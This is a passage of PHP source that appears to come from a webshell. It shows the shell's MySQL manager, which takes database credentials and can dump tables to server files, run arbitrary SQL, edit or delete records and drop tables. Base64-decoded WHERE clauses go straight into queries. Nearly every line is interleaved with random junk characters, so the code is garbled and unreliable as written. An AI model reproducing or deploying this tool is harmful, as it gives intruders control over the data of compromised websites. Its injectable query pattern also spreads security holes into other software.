  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');5 ^, |& X6 k$ j7 d3 j4 _
  668.         makehide('dbhost');
    ) z! p9 q! W* A; y4 t2 K, ~+ G
  669.         makehide('dbport');- D; q; [. ?1 P' E3 I" t
  670.         makehide('dbuser');8 t* q3 r8 L2 [) q
  671.         makehide('dbpass');
    : ?/ k* r: [( J% C* u" g* a
  672.         makehide('dbname');
    1 e; x. H, c$ c& Y% C
  673.         makehide('charset');! t! C& O' p' ]; ^+ Q
  674.         makehide('doing');1 H3 K7 J+ Z6 [" {* i
  675.         makehide('action','sqlfile');
      a2 [) O2 Z( x/ u) b3 {6 V
  676.         p('</form>');
    8 t8 F$ ]+ ^7 j, y% ?4 k$ d
  677. }, Y! ^; W0 R% x4 x- R5 `

  678. 6 f1 ~  g: C9 |) x, P9 |$ p  G3 j
  679. elseif ($action == 'sqladmin') {
    2 h. j+ x$ d  `  g( R+ w( B8 Z
  680.         !$dbhost && $dbhost = 'localhost';
    ' L# [9 A( o: Q. k# C6 l% f8 s
  681.         !$dbuser && $dbuser = 'root';* B' J$ n/ e; N" k6 W
  682.         !$dbport && $dbport = '3306';( P7 m) U+ L2 }+ `, F
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';1 [; C( h( B8 S+ ?5 G0 l# M3 E" Y
  684.         if(isset($dbhost)){
    : D, v3 N- Y9 m) U. u
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";, l' d  I" U7 b! J5 `  q0 x5 e
  686.         }4 N( p" f- M1 ~  [) m- q9 \9 O
  687.         if(isset($dbuser)) {" P" M# B7 Z# E* C4 c3 U
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    ( s; ~6 Q5 l- q' g" [" o
  689.         }: W" D8 |+ F" b5 V
  690.         if(isset($dbpass)) {
    8 L$ ?+ [7 p8 R( w1 b- D
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
    ; d9 A" x$ I( W& e
  692.         }* K' f. V: _, c" _9 F" D
  693.         if(isset($dbport)) {
    # Z- h9 z5 ~* m0 W1 v* e
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
    & h" R) o! d' T$ w
  695.         }
    ; M/ y% g# _; o& `4 K% }( C8 n
  696.         if(isset($dbname)) {
    ) b6 [; B: w- }! }/ F
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";% @8 o- S7 I; L! W5 L
  698.         }
    & y4 l; ~) g4 x' K6 J! P
  699.         if(isset($charset)) {
    3 Y; {+ K! h+ \7 ]! d% d
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
    3 {- }. B& D( ?* a, V) O5 m
  701.         }
    - ^7 m8 a  ~$ Q! g$ v( O
  702. ! b- a7 y3 l. R) D; i1 {9 Y" [5 X
  703.         if ($doing == 'backupmysql' && $saveasfile) {
    ) U$ W& h- v4 ~) q& W
  704.                 if (!$table) {4 f" h2 O& h9 O5 P+ N" y
  705.                         m('Please choose the table');1 b  A2 _. R* z1 b
  706.                 } else {
    * k6 d  n7 }" t  X1 t& C
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);2 ^$ A4 O. d' K
  708.                         $table = array_flip($table);
    ) F( b9 P* F" j5 ]9 |0 @* T" v+ C
  709.                         $fp = @fopen($path,'w');/ ~1 `, l$ {0 w" V: g) Z4 v( O
  710.                         if ($fp) {8 G& m) s7 i7 A/ L' f
  711.                                 $result = q('SHOW tables');/ Q' x0 v! q. q& L5 y: w- _- X" I3 f
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
    / S& ?+ {! w) Z2 O- y: Z( Y; c
  713.                                 $mysqldata = '';8 j% g9 m$ q3 ^) O# X/ D" ?+ @/ O' h
  714.                                 while ($currow = mysql_fetch_array($result)) {
    ) y5 b; I) N3 y6 @& o
  715.                                         if (isset($table[$currow[0]])) {
    0 L4 r- u- {2 t. q& q- @  `8 D& ]
  716.                                                 sqldumptable($currow[0], $fp);* b' D; G& O) e) ]' E2 @% i
  717.                                         }5 Q% h7 E( l! l0 X! ]/ h2 ]3 X
  718.                                 }
    6 e4 j* ~+ f3 m! Q3 g5 [
  719.                                 fclose($fp);
    1 ^" x' E- ]# T: K1 d; U
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);) F4 F7 r- r1 ?+ m
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');  p% e% s6 J: s; {4 X' F
  722.                                 mysql_close();' @' w& A5 h2 O5 s8 M) J  H
  723.                         } else {
    / n. {$ y: f! U
  724.                                 m('Backup failed');; G# X( X4 S+ ~- w4 S
  725.                         }
    " P0 X" [, H4 {( R5 N* n
  726.                 }
    * Y: k0 N4 _* U" D) u
  727.         }
    ; n6 n/ z5 j- y- o
  728.         if ($insert && $insertsql) {" N- m" f9 p, V! R( b" y/ Y
  729.                 $keystr = $valstr = $tmp = '';# d) u$ A2 \; v) J# C( Q
  730.                 foreach($insertsql as $key => $val) {
    . y0 a  ?8 q. O: ]/ P* j
  731.                         if ($val) {
    & J; b& A3 s3 y" A& B- r( j$ P3 B* }
  732.                                 $keystr .= $tmp.$key;. x+ L. F" U' |. J3 y/ I; Y
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";/ Y# ~% l0 x% n/ x0 V
  734.                                 $tmp = ',';! q# i9 x7 n1 ^! F' x
  735.                         }
    & t7 K9 e8 z0 _1 {  [
  736.                 }
    2 {0 b# ~* R$ ^: j+ g" t9 e
  737.                 if ($keystr && $valstr) {; d# d3 z  R& M
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    $ R. c1 Q7 h+ Y; s
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());7 e% n1 b7 T( W5 T, J" q) Z- j$ X
  740.                 }
    ; V$ x" ]. `0 v2 t' E" X: w
  741.         }
    ' Z: m0 e" Y5 ]2 v$ ~0 |; s$ c
  742.         if ($update && $insertsql && $base64) {# g; K# j% Y# M1 t% v8 m
  743.                 $valstr = $tmp = '';
    ( _$ g1 s2 [7 K5 h7 X/ T
  744.                 foreach($insertsql as $key => $val) {1 C* T; H& j' f0 k" N; c$ {
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
    9 L' m: A& ?1 i. m+ m( L" y) L
  746.                         $tmp = ',';
    . w" z1 \2 i# @, V. p) ~
  747.                 }
    . _/ O; b7 R: h: u0 Z$ q+ P
  748.                 if ($valstr) {
    6 X8 n' T0 v) t: B! _9 d# }
  749.                         $where = base64_decode($base64);$ V; a% q8 ]" f9 E% `) d8 ?, L4 O% c9 w
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);! u# c1 l& Q% o9 q( j& l
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
    ; M7 Q& ~; h/ [4 j4 _
  752.                 }
    7 F& x& M+ ?! E
  753.         }
    + N2 G+ X8 h. A4 R0 V& X
  754.         if ($doing == 'del' && $base64) {  R7 v* I' J+ j) `
  755.                 $where = base64_decode($base64);% @- w7 q& r: |% _
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
    . x2 Q' ]" [+ v: {
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);& U. Z; r8 E8 W6 d9 E
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());/ j0 B' d# N7 u) h3 Z/ r8 H: A
  759.         }
    , _% c& J+ Q: B9 Q3 i- w

  760. # `1 c2 U% C# R4 n& l; R5 \% o
  761.         if ($tablename && $doing == 'drop') {
    # D! O! d* [3 `% D$ [
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    2 l" K( o8 s0 F! T6 ~
  763.                 if (q("DROP TABLE $tablename")) {
    - U6 L6 N* u$ y+ P7 y
  764.                         m('Drop table of success');( k; t) F( W7 A2 k2 v% i2 H& ]$ b
  765.                         $tablename = '';" ?  ^; @5 T2 Q5 }' B
  766.                 } else {
    5 h( t/ B! L, s
  767.                         m(mysql_error());
    ( ?; l! p  J  q3 ]1 O& l/ I/ B2 A
  768.                 }! Y; m5 h! y- J
  769.         }2 Z+ @# v( Q1 x+ A6 S2 Z' J

  770. % w  {$ x. K% @0 o! ^* I$ r
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    & w/ d% P$ l5 z3 `0 s

  772. 9 [+ Y+ W, f3 D. c7 c* c5 k
  773.         formhead(array('title'=>'MYSQL Manager'));
    . G' W9 {) q  D8 }
  774.         makehide('action','sqladmin');
    2 r* q  F' W$ G+ i
  775.         p('<p>');% _( G7 q& j; @$ c$ F0 h! f6 H
  776.         p('DBHost:');- G, o5 U& J7 x
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));+ x) M: e$ _& Q" B" d: S* Z
  778.         p(':');
    - ]  k* A. p3 I
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));' q) P6 `. o' k  h6 j1 J  _
  780.         p('DBUser:');6 i- S! y# f9 {3 p; k  ^3 ~2 w/ l2 B/ r
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    7 S" h, w" a+ |( r
  782.         p('DBPass:');
    8 K( F* Y9 F4 V
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));& p8 T! N4 @! s' f' P( d" k; z+ J
  784.         p('DBCharset:');( ~4 F# T- a+ W* u$ c
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    : I- D6 ?& e: v+ x
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));$ s' I5 g! R* M+ o
  787.         p('</p>');/ ^7 Y2 {% C' y
  788.         formfoot();
    * P9 o! i+ |6 _
  789. ?>
    $ A0 U3 L5 A. v
  790. <script type="text/javascript">
    2 G4 `0 d: E* n: i4 }
  791. function editrecord(action, base64, tablename){1 a9 h9 r6 o9 H# z
  792.         if (action == 'del') {                - @* Q2 ?: _8 `3 @$ k9 H
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;* r0 ]+ q/ z+ r3 ^4 G! H$ p; L
  794.         }
    + C0 @1 ]3 f* M
  795.         $('recordlist').doing.value=action;
    , w. I; R  u8 Y/ e
  796.         $('recordlist').base64.value=base64;
    8 }3 u1 \1 i( n( z
  797.         $('recordlist').tablename.value=tablename;5 {0 X$ [4 D% Z3 I! C+ X
  798.         $('recordlist').submit();
    & D$ e# v2 A- W# t2 ?2 r! P. Y6 p
  799. }
    # C* W0 k$ R$ J3 p7 a- p( A
  800. function moddbname(dbname) {3 X* \7 R" A% p- \  S8 @9 {$ `
  801.         if(!dbname) return;  Y; }0 T) }6 |& y" @' l! I7 V
  802.         $('setdbname').dbname.value=dbname;7 v% q* X/ Y2 A. P. g
  803.         $('setdbname').submit();% Y* x; T4 ^3 ^$ t
  804. }& ?, L- u  Y. j/ G7 o
  805. function settable(tablename,doing,page) {
    6 J6 }$ t& S% P" ?. I
  806.         if(!tablename) return;+ [& q8 P+ Z9 o) O1 j$ w2 s% z
  807.         if (doing) {
    - \/ c. q/ _( }6 i3 z9 H
  808.                 $('settable').doing.value=doing;* b: f4 q) U" \5 f
  809.         }7 c2 ^5 {) I: E
  810.         if (page) {. n6 L* E& I2 P2 z$ ?
  811.                 $('settable').page.value=page;7 n- k: |  s: U8 T$ v  C! \
  812.         }3 C7 p/ `+ j+ v/ u% U  i
  813.         $('settable').tablename.value=tablename;
    . Q+ |8 @5 ?! o+ Y: e
  814.         $('settable').submit();
    5 e% N$ B' M; Y, t
  815. }
    ; E: t$ S; z$ O* `% t$ e
  816. </script>
    . ?" a+ z1 X0 Q: g  M
  817. <?php$ [9 ~0 n0 S: Z# A7 _- w
  818.         //操作记录/ [& b3 O  G' p2 `, `! E% k
  819.         formhead(array('name'=>'recordlist'));8 h" n: m( g. s6 h. D5 y
  820.         makehide('doing');4 S* Q" E: P- Y3 F: W  H" x) k% ]
  821.         makehide('action','sqladmin');
    9 F) O) ?7 J! V- ?
  822.         makehide('base64');. m4 T8 o. N. e' ]0 u1 G1 ]
  823.         makehide('tablename');& v4 j* V9 z+ Z4 M
  824.         p($dbform);
    % n# @0 C# O$ k
  825.         formfoot();7 R0 x$ O2 M% D: w
  826.         //选定数据库8 c+ T$ M+ K6 i  L4 ]! ]
  827.         formhead(array('name'=>'setdbname'));
    ! W+ f% B- K7 n& W7 [4 @
  828.         makehide('action','sqladmin');2 C3 \5 b$ j) E+ ?* ~9 ~  T' P
  829.         p($dbform);* \/ c6 w/ H7 Q7 Z8 E
  830.         if (!$dbname) {8 G1 A! k7 t0 Q6 Q7 f; F+ d( }
  831.                 makehide('dbname');
    ; ~; w! }7 d# b) W) t" z
  832.         }
    ' C/ F$ p( R6 [0 W3 |2 E( K% x
  833.         formfoot();, y, i. c/ p1 ?
  834.         //选定表% B* u8 w( C: s* P9 L  w
  835.         formhead(array('name'=>'settable'));) r: ~+ q' c; `6 S; E
  836.         makehide('action','sqladmin');# [4 O; X6 T7 g" i: y9 [# g
  837.         p($dbform);
    2 L8 H7 \+ q; `- a9 n
  838.         makehide('tablename');
    , ~$ t. C2 i' _( a
  839.         makehide('page',$page);/ g1 S* {9 K) [% [* l0 S
  840.         makehide('doing');* o& j8 y( d3 a: U" U6 y
  841.         formfoot();
    0 }! l: v: ?( W1 t* A
  842.         $cachetables = array();       
      @* a: d5 \: W8 ~5 L# w3 N" f( p
  843.         $pagenum = 30;
    5 h2 f  t7 W3 P( Q* L7 _
  844.         $page = intval($page);) U: @( H" ?9 f/ P
  845.         if($page) {
    % c- D4 V$ a1 T" b1 E$ k# p
  846.                 $start_limit = ($page - 1) * $pagenum;
    9 Q' _" M& X" R8 u& P5 {0 j! w
  847.         } else {
    4 }' T/ T: m0 D5 G
  848.                 $start_limit = 0;
    6 D6 Y+ `6 X& M3 A4 n; m  W
  849.                 $page = 1;
    8 s6 z: T3 v. W7 D/ A
  850.         }' N( F2 v' k1 J5 s+ A. q. c
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    8 G+ U8 l$ O: r) a0 U
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);7 V2 d, l/ k8 [  y% l1 m
  853.                 //获取数据库信息3 j" J" T* r; |; R# T$ M* }0 L8 U
  854.                 $mysqlver = mysql_get_server_info();
    + R; h2 F& s$ E* |. E/ m
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
    , J3 ^; n4 G0 ~0 h: \+ @6 b- I
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    % o$ b) O; Z1 M$ J9 T* N# ~
  857.                 //获取数据库
    / T& t% @; D$ _8 v5 Z  O/ Q
  858.                 $query = q("SHOW DATABASES");
    6 G' L9 s; v: i& @, |. E
  859.                 $dbs = array();
    7 n) ]0 v( x6 B
  860.                 $dbs[] = '-- Select a database --';. z( g; W% u: N9 Z2 y/ \9 R
  861.                 while($db = mysql_fetch_array($query)) {$ Q4 n4 h, |& k
  862.                         $dbs[$db['Database']] = $db['Database'];
    3 C8 @0 M# R2 o: i* K
  863.                 }3 w4 x1 m  x4 j
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
    7 v  @) H9 b1 A" b
  865.                 $tabledb = array();1 M  x6 ^; W( I3 ?7 `* U  }
  866.                 if ($dbname) {+ a$ ]- W" Q) v
  867.                         p('<p>');
    # U1 ?9 F! i4 H: s3 _
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');0 Z% l  B; G3 V- u5 \4 K/ S  v
  869.                         if ($tablename) {
    , q7 }- J/ H3 k# s* d. `
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
      r* {" l" s: F
  871.                         }8 \0 h' Q' C2 H8 g6 r
  872.                         p('</p>');
    & \5 B9 X5 O4 n# ]
  873.                         mysql_select_db($dbname);
    . I6 Q& s7 V& M' d( o% m
  874.                         $getnumsql = '';8 m0 u$ q* \) D! F* |0 |- D
  875.                         $runquery = 0;
    8 b& K0 f6 e4 {' K, N8 ~4 o
  876.                         if ($sql_query) {
    ( _8 ?& K2 l! l# M" v$ N# u' {* I
  877.                                 $runquery = 1;6 n1 D$ G2 p, g/ j! u5 U
  878.                         }
    + L) P' r  q! H3 S& q  {
  879.                         $allowedit = 0;
    ( r! r3 o; J- G/ n2 l& t
  880.                         if ($tablename && !$sql_query) {
    1 R* Z5 g) U: \2 R
  881.                                 $sql_query = "SELECT * FROM $tablename";* a, e. \' y$ P4 p( A
  882.                                 $getnumsql = $sql_query;- J$ c, o. M; u4 d# o
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
    * a7 F& T: _9 r% Q9 F
  884.                                 $allowedit = 1;
    ; Q! t$ v% {  |# Q
  885.                         }3 x& H3 ?" E, Y$ [) R$ b
  886.                         p('<form action="'.$self.'" method="POST">');9 U' @4 E6 i# ?, \8 E. I
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');  ?5 M8 ], [2 c2 Q. ]
  888.                         makehide('tablename', $tablename);4 \% `$ f3 b" e! c
  889.                         makehide('action','sqladmin');
    . j3 E$ t. b! W5 _8 K, u3 P, y; m
  890.                         p($dbform);! M% ~4 O* m' Z7 ~6 a, o% x
  891.                         p('</form>');
      P2 G* H6 ?+ h
  892.                         if ($tablename || ($runquery && $sql_query)) {
    ' V, y1 x( O* x4 }
  893.                                 if ($doing == 'structure') {
    & s1 g+ s$ w4 e4 O: L
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");
    % v" J7 q& Z  }7 h9 N
  895.                                         $rowdb = array();+ V  p5 a  D0 M5 Y2 L1 |3 ]) s7 K
  896.                                         while($row = mysql_fetch_array($result)) {
    ; r, [8 @9 G0 b6 f/ J0 X+ @
  897.                                                 $rowdb[] = $row;
    % s. k, B6 P1 T! r# s/ u$ X9 c! d
  898.                                         }4 X' \- ?7 @* H
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');* j3 P$ s) L$ l4 b/ q
  900.                                         p('<tr class="head">');
    % d- \+ h' h0 b
  901.                                         p('<td>Field</td>');
    # }3 q+ c1 [5 p; y
  902.                                         p('<td>Type</td>');
    0 R8 P2 b0 K# r1 ]% F/ C. d/ B# ~) O
  903.                                         p('<td>Null</td>');
    . q9 N" u! k% {4 N" o- J: @
  904.                                         p('<td>Key</td>');
    ' u# |5 y4 j% X. W! e
  905.                                         p('<td>Default</td>');
    ; c1 K, z0 G# V7 p* l% t7 t
  906.                                         p('<td>Extra</td>');$ o1 A3 }" z1 i
  907.                                         p('</tr>');
    9 a( h/ N( @4 W5 d% K5 r
  908.                                         foreach ($rowdb as $row) {
    * O( x5 u0 M1 X1 g. [! R' }# z
  909.                                                 $thisbg = bg();& M  J1 K7 f7 ]! {; e* u( H( @3 e
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    6 u0 |- r5 C# |8 }: F' h$ q
  911.                                                 p('<td>'.$row['Field'].'</td>');; i& Q  D* X- ^6 E
  912.                                                 p('<td>'.$row['Type'].'</td>');
    % i) X7 Q! e. k' k8 S% `
  913.                                                 p('<td>'.$row['Null'].' </td>');
    ' K4 y: D8 r" {
  914.                                                 p('<td>'.$row['Key'].' </td>');
    2 E) p/ p' T, J2 m8 x4 W- e) L/ z) i
  915.                                                 p('<td>'.$row['Default'].' </td>');
    5 D6 C1 }- N& m  I9 q
  916.                                                 p('<td>'.$row['Extra'].' </td>');$ U4 W) a0 i. l
  917.                                                 p('</tr>');; O" R+ m2 b$ t; k6 A! f
  918.                                         }
    . O8 w6 ~5 x% v0 X% s- g
  919.                                         tbfoot();( S/ ?& w, ]$ i- p3 j4 G
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {& H+ K. C" W9 W2 u0 w* D
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
    + I& P  Q+ x) C6 p
  922.                                         while ($row = mysql_fetch_array($result)) {
    + }& r/ K% j1 Q: p4 f0 N% G
  923.                                                 $rowdb[] = $row;
    & P! p, m  n- X9 z. e& o: Q' x, D9 m
  924.                                         }% U$ e  g& ]: s
  925.                                         $rs = array();
    $ y* _6 y+ S* O5 M6 y
  926.                                         if ($doing == 'insert') {
    0 K4 m- H+ i9 t6 u7 V( L6 X
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    4 b+ L8 r$ S. j' A5 N4 |
  928.                                         } else {/ K- h% m& H' j' a* d
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    : S  O% V: C# ^! Z$ p6 |# c7 Q& ?
  930.                                                 $where = base64_decode($base64);8 {# K2 a7 R: m( N, z- G
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
    ! n) Y& V0 e% X6 O, O" R1 k  j
  932.                                                 $rs = mysql_fetch_array($result);+ T# L: Q# p& Z( Q; ^* I) C, [
  933.                                         }
    3 D, E# b' k' h, E
  934.                                         p('<form method="post" action="'.$self.'">');
    5 E3 Q, d5 Q% y  I  q- Y: q
  935.                                         p($dbform);
    - J0 t4 B3 G- E# U/ X
  936.                                         makehide('action','sqladmin');
    2 E/ [; Y, p$ |
  937.                                         makehide('tablename',$tablename);1 L! \3 x& K  v# ~: }
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    ) U# N2 Y4 i+ a, y; V+ y1 x0 @1 X8 B
  939.                                         foreach ($rowdb as $row) {
    3 R8 q2 W/ z0 K  `% F
  940.                                                 if ($rs[$row['Field']]) {
    " V9 k* F/ `  |  q: }. N
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
    ; q1 H# P* @7 M; w: d: f  ?+ C
  942.                                                 } else {3 H3 {) f3 u! V* W" O
  943.                                                         $value = '';: l; o" u8 N) B: n! S$ j; j
  944.                                                 }
    9 b: h& [$ Q0 Y/ O
  945.                                                 $thisbg = bg();
    7 z7 k( ^0 s* _, M: x
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ) V6 j- x* j! V( n3 A. j
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
    9 h! @" D& _" ~; h3 c
  948.                                         }
    1 I6 b. D8 M0 I# O1 O5 |
  949.                                         if ($doing == 'insert') {0 k/ m$ u. ]9 U
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    . I" L0 `  |- H; D0 n) S- V4 F
  951.                                         } else {
    + e( _6 c, ]& ^+ a
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');% k7 P' b" M  D+ W- k
  953.                                                 makehide('base64', $base64);
    7 n* v. B4 e8 W7 j. Y
  954.                                         }  c( I  h9 z" D4 m3 x- o( J, M
  955.                                         p('</table></form>');+ h5 W0 k5 d8 ]' q
  956.                                 } else {
    2 j8 R  L# O& B5 ?8 {( `- G
  957.                                         $querys = @explode(';',$sql_query);. P, ^& H1 s8 G. X3 z& t. s: w
  958.                                         foreach($querys as $num=>$query) {
    / g& \& e3 y. ~8 q& A; M
  959.                                                 if ($query) {
    ' Y( l. C5 W! i* A) @
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
    7 w) s5 J. Y) N
  961.                                                         switch(qy($query))
    4 y% O2 q7 e1 f# ?$ @  j% Q
  962.                                                         {
    & _. U9 Q( ^! i8 \  o
  963.                                                                 case 0:
    3 ], \; H' F  K7 I9 A* [) w, |
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    5 f" o' A5 t  Q. A) Q  Y0 O4 y5 N
  965.                                                                         break;        : x6 p* A  X+ g3 M+ ?$ h
  966.                                                                 case 1:
    " ?- k0 n) k6 c( g9 F
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {: L3 t$ D) A2 l7 U0 F4 L; ^4 S) ~
  968.                                                                                 $allowedit = 1;
    , A  C% `7 E$ X5 ^' N( C
  969.                                                                         }6 k, X" x3 n( ]- z
  970.                                                                         if ($getnumsql) {
      r: n# d) t' d7 b4 ]
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));  z$ W) x& a+ ?9 q( k
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
    - @2 ?6 `5 G& T4 K1 e7 ^. ^
  973.                                                                         }- ]; |, F# a) f8 {& _
  974.                                                                         if (!$tablename) {
    ' m, R9 B/ u$ v: d, {- M! {
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));3 s/ y7 M4 m6 c
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);' q. j( W( |, {- j
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    ! C% d% R5 d9 n
  978.                                                                                 $tablename = $matches[1][0];
    5 [! t5 \6 L& W- P8 [5 D& r; O
  979.                                                                         }( N3 g% ~1 |! a; x9 e# Y
  980.                                                                         $result = q($query);
    + I! q% K" N: X# Y  N+ q* Y& Y
  981.                                                                         p($multipage);& \/ t/ S9 G, ?1 H" {2 `) ?* o
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');9 S) E: Y" O! H3 n8 F
  983.                                                                         p('<tr class="head">');
    + Z: l% V( u: H8 [5 {- c
  984.                                                                         if ($allowedit) p('<td>Action</td>');4 V5 ?# w6 S0 {9 }/ N, u+ E
  985.                                                                         $fieldnum = @mysql_num_fields($result);9 l$ I' L0 I: N5 P
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    1 j, ]2 Z# s% t+ [+ X  q
  987.                                                                                 $name = @mysql_field_name($result, $i);
    : k" y, @& M: q! I; B
  988.                                                                                 $type = @mysql_field_type($result, $i);
    7 J* M+ t4 s. }& E. g# |
  989.                                                                                 $len = @mysql_field_len($result, $i);9 I. E' r6 B8 \1 i0 D9 e
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");0 U6 e  \, \  |" V; |9 `/ b
  991.                                                                         }
    . B# ?0 u1 p, Q+ o! X# p5 G9 F5 v4 v+ c' D
  992.                                                                         p('</tr>');0 D8 n# h& \6 Y9 N2 o
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){
    " I/ _- I+ b% U$ a7 X: D& F3 P' M
  994.                                                                                 $thisbg = bg();# W3 n9 X; {/ ~: {) A
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    ! H/ i* _& c/ r6 ]( V8 J! f
  996.                                                                                 $where = $tmp = $b1 = '';
    7 _- [  q1 G* f& w- |3 ?
  997.                                                                                 foreach($mn as $key=>$inside){
    2 |0 e5 k% I- A5 _# D
  998.                                                                                         if ($inside) {; p6 i, P" {9 W
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
    - b( [, Q4 F% h" e0 O
  1000.                                                                                                 $tmp = ' AND ';
    " }6 F! L% c, l% R. I
  1001.                                                                                         }1 Y) c' @7 {6 ~/ V, L! l
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';, G) X! @  Q4 y, y' J
  1003.                                                                                 }/ k  d5 V/ |) y& f& X
  1004.                                                                                 $where = base64_encode($where);
    # ^0 j3 {8 p# T9 C6 G; r1 }
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
    # B: u7 p. V; F# }" z4 H0 q+ H4 z* B
  1006.                                                                                 p($b1);
    ) ~0 N0 O6 m" v7 Q3 ?# d
  1007.                                                                                 p('</tr>');
    $ T, H+ u* L2 {: F( Q
  1008.                                                                                 unset($b1);
    5 \" ~- S6 O5 W# J" l
  1009.                                                                         }
    ; D1 \# J* }( m. f5 ~7 x
  1010.                                                                         tbfoot();
    0 Z# D5 h4 _! W% z
  1011.                                                                         p($multipage);
    " h" T2 S" C; q& w  V0 ?
  1012.                                                                         break;        7 J6 V- n" G0 O+ f
